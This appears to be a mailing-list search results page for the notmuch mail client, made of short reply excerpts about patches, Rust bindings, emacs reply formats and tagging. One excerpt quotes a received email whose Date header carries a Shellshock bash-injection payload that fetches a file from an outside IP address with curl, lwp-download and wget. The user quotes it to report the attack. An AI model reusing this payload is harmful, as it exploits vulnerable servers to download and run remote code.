Johannes Schauer writes:
> Hi,
>
> I recently received an email with the following date field (the value of all
> other headers is the same):
>
> Date:() { :; }; /bin/sh -c 'cd /tmp ;curl -sO
> 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget
>
Steven Allen writes:
> Notmuch claims to commit changes made before an open transaction on
> close but actually throws them away (according to the documentation).
>
> According to the notmuch documentation,
>
>> For writable databases, notmuch_database_close commits all
Steven Allen writes:
> I'm writing high-level rust bindings for notmuch and would like to
> enable encapsulation of query logic. That is, I'd like to be able to
> write a function that performs a (set of) query(s) and returns a (or a
> set of) message(s)/thread(s). I can't
bserrao writes:
> Hello,
>
> I need some help in changing the default reply format to JSON in
> notmuch-emacs.
> I've looked in the docs and there's this option:
>
I'm afraid I don't understand what behaviour you want. Internally
notmuch-emacs uses --format=sexp to
Tomi Ollila wrote:
>It was <2017-03-09 czw 13:35>, when David Bremner wrote:
>> Łukasz Stelmach writes:
>>
>>> ---
>>> notmuch-new.c | 5 ++---
>>> 1 file changed, 2 insertions(+), 3 deletions(-)
>>>
>>> diff --git a/notmuch-new.c b/notmuch-new.c
>>> index
Hello,
In the notmuch-emacs interface, it is not possible to mark non-consecutive
messages in a saved-search view and then associate tags to all those marked
messages at once. A feature that would be useful would be one that allows an
alternate interface for marking messages and then
Hello,
I need some help in changing the default reply format to JSON in
notmuch-emacs.
I've looked in the docs and there's this option:
"Supported options for reply include
--format=(default|json|sexp|headers-only)"
But i can't figure out how to setup emacs to use this option. (Sorry, i
guess
Mark Walters writes:
>
> -(eval-when-compile (require 'cl))
> +(require 'cl)
> (require 'widget)
> (require 'wid-edit) ; For `widget-forward'.
>
> @@ -1017,3 +1017,7 @@ (defun notmuch-folder ()
> ;;
>
> (provide 'notmuch-hello)
> +
> +;; Local Variables:
> +;;
Mark Walters writes:
> Separate the code that prints a saved-search and count into its own
> function.
Hi Mark;
After the first patch, this series doesn't apply any more because of
conflicts.
d
___
notmuch mailing list
Mark Walters writes:
> This lets the user specify some tag changes as #tag or =tag which mean
> the same as +tag and -tag except the reverse changes are not applied
> when reversing the operation.
This was originally written at my request, but I've been getting along
Jani Nikula writes:
>
> +if (state->ignored_non_mails)
> + printf (" Ignored %d non-mail %s. (Use 'notmuch config append
> new.ignore [...]' to ignore explicitly.)",
> + state->ignored_non_mails,
> + state->ignored_non_mails == 1 ? "file" :
Jani Nikula writes:
> Keep the existing strcmp on the basename for backwards compatibility,
> and additionally use the new.ignore entries as fnmatch(3) patterns on
> the absolute filename. Note that it's not enough to add e.g. "foo*bar"
> to the list; you will need to do
Jani Nikula writes:
> No need to maintain the pure C stuff within a try block, it's arguably
> confusing. This also reduces indent for a bunch of code. No functional
> changes.
pushed to master,
d
___
notmuch mailing list
Mark Walters writes:
> We use message-send-hook for two things -- tagging drafts deleted, and
> tagging replied the parent message of a reply. We should not use
> message-send-hook as that will affect gnus etc too. Moreover,
> message-send-hook is run before the
Tomi Ollila writes:
> Now make goal combinations starting with *clean goals,
> ending with *clean coals, and having non-*clean goals in between
> should work. What does not expected to work are
> non-*clean - *clean - *non-clean goal combinations.
>
pushed, already
Mark Walters writes:
> Hi
>
>> Would it be possible to concatenate the two lists and only call
>> notmuch-tag once? It seems like that should be notably faster.
>
> I think that it's not possible as they are tagging different
> messages. We could probably do something
16 matches
Mail list logo